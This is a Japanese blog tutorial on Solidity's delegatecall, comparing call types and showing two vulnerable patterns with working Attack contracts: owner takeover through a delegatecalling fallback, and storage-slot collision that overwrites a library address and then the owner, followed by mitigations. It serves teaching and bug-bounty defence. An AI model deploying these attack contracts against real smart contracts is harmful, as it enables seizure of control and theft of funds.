Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] Delegatecallの脆弱性を1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「Delegatecall」について解説していきます。

delegatecall」は便利な反面使用するにはしっかり理解しておく必要があります。

しっかり理解しないで使用すると簡単に攻撃されて取り返しがつかない状態になりかねません。

Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

Delegatecallとは?

概要

Solidityのdelegatecallを一言で表すと、「あるコントラクトから、別のコントラクトの関数を呼び出すことができるもの」です。

以下の画像のようにAppコントラクトからBankコントラクト内のdeposit関数を呼び出すことができます。

また、呼び出し先ではなく、呼び出し元のストレージデータが使われます。

通常他のコントラクト内の関数を呼び出した時、使用されるストレージデータは呼び出し先のデータです。

Delegatecallの動作確認

delegatecallについて概要を把握したところで、早速動きを確認していきましょう。

呼び出し元であるCountコントラクト内のcountUp関数を実行すると、呼び出し元であるAppコントラクト内のcounter変数がカウントアップされているのが確認できますね。

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;

    function countUp() public  {
        counter ++;
    }
}

contract App {
    uint public counter;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool) {
        (bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
        return sent;
    }
}

ではdelegatecallを使用しないとどうなるか確認しましょう。

delegatecallを使用した時異なり、呼び出し先であるCountコントラクト内のcounter変数がカウントアップされているのが確認できます。

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;

    function countUp() public  {
        counter ++;
    }
}

contract App {
    uint public counter;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    // function callCountUp() public returns(bool) {
    //     (bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
    //     return sent;
    // }
    function callCountUp() public {
        count.countUp();
    }
}

他のコントラクトを呼び出すパターン

実は他のコントラクトの関数を呼び出す方法には、以下の4つの方法があります。

パターン

  • 直接呼び出す
  • callによる呼び出し
  • callcodeによる呼び出し
  • delegatecallによる呼び出し

なんでこんなに種類があるのか?

その答えは「ストレージデータ」と「msg.sender」がそれぞれ異なるためです。

ここでは他のコントラクトを呼び出す4つの方法を1つずつ確認していきます。

他のコントラクトを呼び出す方法をマスターしましょう!

呼び出し元と呼び出し先

念の為あらかじめ用語の整理をしておきます。

呼び出し元」とは別のコントラクトを呼び出しているコントラクトを指します。

つまり、AppコントラクトがCountコントラクトを呼び出しているとき、「呼び出し元」はAppコントラクトになります。

逆に、「呼び出し先」とは別のコントラクトに呼び出されたコントラクトを指します。

つまり、AppコントラクトがCountコントラクトを呼び出しているとき、「呼び出し先」はCountコントラクトになります。

直接呼び出し

直接呼び出す方法は先ほど見ましたが、「呼び出し元」の確認ができていなかったので改めて確認していきましょう。

AppコントラクトからCountコントラクトを呼んだ結果、呼び出し先であるCountコントラクトの「ストレージデータ」が使用されていることが確認できました。

また、「msg.sender」は呼び出し元のAppコントラクトのアドレスが使用されていることも確認できました。

直接呼び出しをまとめると以下になります。

まとめ

  • ストレージデータ
    • 呼び出し先
  • msg.sender
    • 呼び出し元

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public {
        count.countUp();
        count.changeCallAddress();
    }
}

callによる呼び出し

次にcallを使用した呼び出しについて確認していきます。

callでの呼び出しは「直接呼び出し」と変わらないですね。

call呼び出しをまとめると以下になります。

まとめ

  • ストレージデータ
    • 呼び出し先
  • msg.sender
    • 呼び出し元

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool, bool) {
        (bool sentCountUp, ) = address(count).call(abi.encodeWithSignature("countUp()"));
        (bool sentChangeCallAddress, ) = address(count).call(abi.encodeWithSignature("changeCallAddress()"));

        return (sentCountUp, sentChangeCallAddress);
    }
}

callcodeによる呼び出し

では次にcallcodeによる呼び出しについて見ていきましょう。

callcodeは現在非推奨であり、delegatecallが推奨されています。

Solidity0.8ではcallcodeを実行できないため、まとめだけにとどめておきます。

まとめ

  • ストレージデータ
    • 呼び出し元
  • msg.sender
    • 呼び出し元

直接呼び出しやcallと違って、ストレージデータは呼び出し元のデータを使用します。

delegatecallによる呼び出し

最後にdelegatecallを確認していきましょう。

呼び出し元であるAppコントラクト内の「ストレージデータ」が使用されていますね。

そして気になるのが「msg.sender」だと思います。

delegatecallを使用すると、「msg.sender」には実行したEOAアドレス(外部所有アドレス。メタマスクなど)が格納されているのが確認できました。

delegatecallのこの特徴から、EOAアカウントからはあたかもAppコントラクトが全ての処理をしているように見えるため、ライブラリなどを使用する際に役立つ。

delegatecallについてもまとめていきます。

まとめ

  • ストレージデータ
    • 呼び出し元
  • msg.sender
    • 呼び出し元のEOAアドレス

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor (address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool, bool) {
        (bool sentCountUp, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
        (bool sentChangeCallAddress, ) = address(count).delegatecall(abi.encodeWithSignature("changeCallAddress()"));

        return (sentCountUp, sentChangeCallAddress);
    }
}

// 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
// 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

危険なDelegatecallとは?

ではdelegatecallを使用する上で注意すべき点はないのか?

もちろんあります。

この章では危険なdelegatecallの事例を2つほど紹介します。

所有者のアドレスを変更

delegatecallを実行すると、msg.senderには実行したEOAアドレスが格納されていることを前章で確認してきました。

これを悪用することで、予期せぬ動作を引き起こすことができてしまいます。

実際にコードを実行しながら確認していきましょう。

User

contract User {
    address public owner;

    function setOwner() public {
        owner = msg.sender;
    }
}

ownerという変数を定義し、setOwner関数を実行することでowner変数にmsg.senderを格納しています。

Count

contract Count {
    address public owner;
    User public user;

    constructor(User _user) {
        owner = msg.sender;
        user = User(_user);
    }

    fallback() external payable {
        address(user).delegatecall(msg.data);
    }
}

コントラクトデプロイ時に一度だけ実行されるconstructorで、owner変数に実行したEOAアドレスと先ほどのUserコントラクトのアドレスを格納しています。

fallback関数が定義されていて、delegatecallを使用してUserコントラクトを呼び出しています。

Attack

contract Attack {
    address public countAddress;

    constructor (address _countAddress) {
        countAddress = _countAddress;
    }

    function attack() public {
        address(countAddress).call(abi.encodeWithSignature("setOwner()"));

    }
}

攻撃者が実行する関数です。

attack関数では、Countコントラクトを呼び出してsetOwner関数を実行しています。

Countコントラクトには、setOwner関数がないのでどのような動作になるのでしょうか?

実際に実行して動作を確認しましょう。

どうでしょうか?理解できましたか?

少し複雑なので順番に説明していきます。

登場人物

まずは登場人物から確認していきましょう。

ユーザーAUserコントラクトとCountコントラクトをデプロイ。

ユーザーB:Attackコントラクトをデプロイ。

ユーザーAが被害者、ユーザーBが攻撃者という立ち位置です。

Userコントラクトのデプロイ

Userコントラクをデプロイし、setOwner関数を実行すると、実行したユーザーAのアドレスがowner変数に格納されています。

Countコントラクトのデプロイ

次にCountコントラクトをデプロイします。

デプロイしたのち、owner変数には実行したユーザーAのアドレスが格納され、user変数にはUserコントラクトのアドレスが格納されています。

Attackコントラクトのデプロイ

最後にAttackコントラクトをデプロイし、attack関数を実行すると以下の手順で処理が進んでいきます。

手順

  • Countコントラクトを呼び出し、setOwner関数を実行。
  • CountコントラクトにはsetOwner関数がないため、実行する関数がない時に呼ばれるfallback関数が呼ばれる。
  • fallback関数は、Attackコントラクトのcallで呼ばれた引数のabi.encodeWithSignature("setOwner()")が格納されているmsg.dataを引数とった、delegatecallを実行してUserコントラクトが呼び出す。
  • UserコントラクトでsetOwnerが実行される。
  • delegateacllでは呼び出し元のストレージデータが使用されるため、delegateacllの呼び出し元であるCountコントラクトのowner変数が変更される。

いかがでしょうか?

なんとなくイメージできたのではないでしょうか?

このようにdelegatecallを悪用することで、予想外の変更をされてしまう恐れがあります。

使用したコードは以下になります。

コードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

/// @notice ownerにmsg.senderを格納する関数。
contract User {
    address public owner;

    function setOwner() public {
        owner = msg.sender;
    }
}

/// @notice Userコントラクトをfallback関数の中で呼び出す関数。
contract Count {
    address public owner;
    User public user;

    constructor(User _user) {
        owner = msg.sender;
        user = User(_user);
    }

    fallback() external payable {
        address(user).delegatecall(msg.data);
    }
}

/// @notice Countコントラクトを経由して、Userコントラクトを呼び出す攻撃者が実行する関数。
contract Attack {
    address public countAddress;

    constructor (address _countAddress) {
        countAddress = _countAddress;
    }

    function attack() public {
        address(countAddress).call(abi.encodeWithSignature("setOwner()"));

    }
}

予想外の変数の変更

delegatecallを使用するとき、呼び出し元のコントラクトと呼び出し先のコントラクトでストレージ変数を同じ名前で同じ順番に定義する必要があります。

なんでそんなことをしないといけないかというと、変更したい変数と異なる変数の値が更新されてしまう恐れがあるためです。

ではまずはコードを見てから実行していきましょう。

User

contract User {
    uint public age;

    /// @notice ageを引数に受け取り変更する関数。
    function updateAge(uint _age) public {
        age = _age;
    }
}

_ageという引数を受け取ってage変数の値を更新するupdateAge関数が定義されています。

Profile

/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
    address public user;
    address public owner;
    uint public age;

    constructor(address _user) {
        user = _user;
        owner = msg.sender;
    }

    function updateAge(uint _age) public {
        user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
    }
}

delegatecallUserコントラクトのupdateAge関数を呼び出しています。

Attack

/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
    address public user;
    address public owner;
    uint public age;

    Profile public profile;

    constructor (Profile _profile) {
        profile = Profile(_profile);
    }

    function attack() public {
        profile.updateAge(uint(uint160(address(this))));
        profile.updateAge(100);
    }

    function updateAge(uint _num) public {
        owner = msg.sender;
    }
}

attack関数では、ProfileコントラクトのupdateAge関数を2回呼び出しています。

updateAge関数も定義されていて、msg.senderowner変数に格納しています。

なぜattack関数でProfileコントラクトのupdateAge関数を2回呼び出しているのかに意識を向けながら実行を確認してください。

いかがだったでしょうか?

わけわからないですよね?

安心してください。ちゃんと説明していきます。

attack関数を実行してからの処理の手順は以下のようになっています。

  1. Profielコントラクトを呼び出し、Attackコントラクトアドレスを渡してupdateAge関数が呼ばれる。
  2. ProfielコントラクトのupdateAge関数では、_ageを引数で受け取り、delegatecallUserコントラクトのupdateAge関数を呼び出して_ageを渡す。
  1. delegatecallで呼ばれたUserコントラクトのupdateAge関数では、Profileコントラクトのストレージデータを使用するため、Profielコントラクトのage変数に_ageが格納される…。
  2. とはならず、Profileコントラクトのuser変数に_age引数の値が格納されます。
  1. Profielコントラクトのuser変数にAttackコントラクトのアドレスが格納されました。
  2. Attackコントラクトでは再度ProfielコントラクのupdateAge関数を呼び出します。
  3. Profielコントラクトのuser変数にはAttackコントラクトのアドレスが格納されているため、AttackコントラクトのupdateAge関数がdelegatecallで呼ばれます。
  4. delegatecallで呼ばれているため、先ほど同様Profileコントラクトのストレージデータのowner変数にAttackコントラクトのアドレスが格納されました。

先ほどよりもより複雑ですね…。

ちなみになぜ、Profileコントラクトのage変数に_ageが格納されず、Profileコントラクトのuser変数に_ageが格納されたのでしょう?

これはストレージデータが定義された順番に格納されていることが理由です。

詳しくは以下を読んでください。

Userコントラクトでは「1番目のストレージデータを更新する」処理を行なっているので、Profileコントラクトの1番目の変数であるuser変数が更新されてしまったのです。

全体のコードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract User {
    uint public age;

    /// @notice ageを引数に受け取り変更する関数。
    function updateAge(uint _age) public {
        age = _age;
    }
}

/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
    address public user;
    address public owner;
    uint public age;

    constructor(address _user) {
        user = _user;
        owner = msg.sender;
    }

    function updateAge(uint _age) public {
        user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
    }
}

/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
    address public user;
    address public owner;
    uint public age;

    Profile public profile;

    constructor (Profile _profile) {
        profile = Profile(_profile);
    }

    function attack() public {
        profile.updateAge(uint(uint160(address(this))));
        profile.updateAge(100);
    }

    function updateAge(uint _num) public {
        owner = msg.sender;
    }
}

対処法

では最後に対処法を確認していきましょう。

変数の定義を再確認

delegatecallを使用する際は、呼び出し先と呼び出し元で変数が同じ順番で定義されていることを確認しましょう。

順番や型が異なるだけで危険なので十分に気をつけてください。

変数の不要な更新を防ぐ

攻撃対象となり得る他の変数への不要な更新を行わないようにしましょう。

予想外の更新がされるとまずい変数に関してはむやみやたらに更新できないように設計することが重要です。

最後に

今回は「delegatecall」について取り上げてきました。

delegatecall」はしっかり理解して使わないと危ないということを理解してもらえたら嬉しいです。

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, , ,